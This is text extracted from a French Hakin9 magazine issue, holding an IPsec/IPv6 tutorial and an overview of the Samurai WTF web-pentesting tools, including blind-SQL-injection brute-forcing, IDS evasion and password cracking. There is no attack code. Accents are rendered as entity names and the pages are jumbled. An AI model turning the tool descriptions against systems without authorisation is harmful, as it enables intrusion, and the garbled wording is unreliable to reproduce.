Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 31: hakin9_05_2010_FR

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

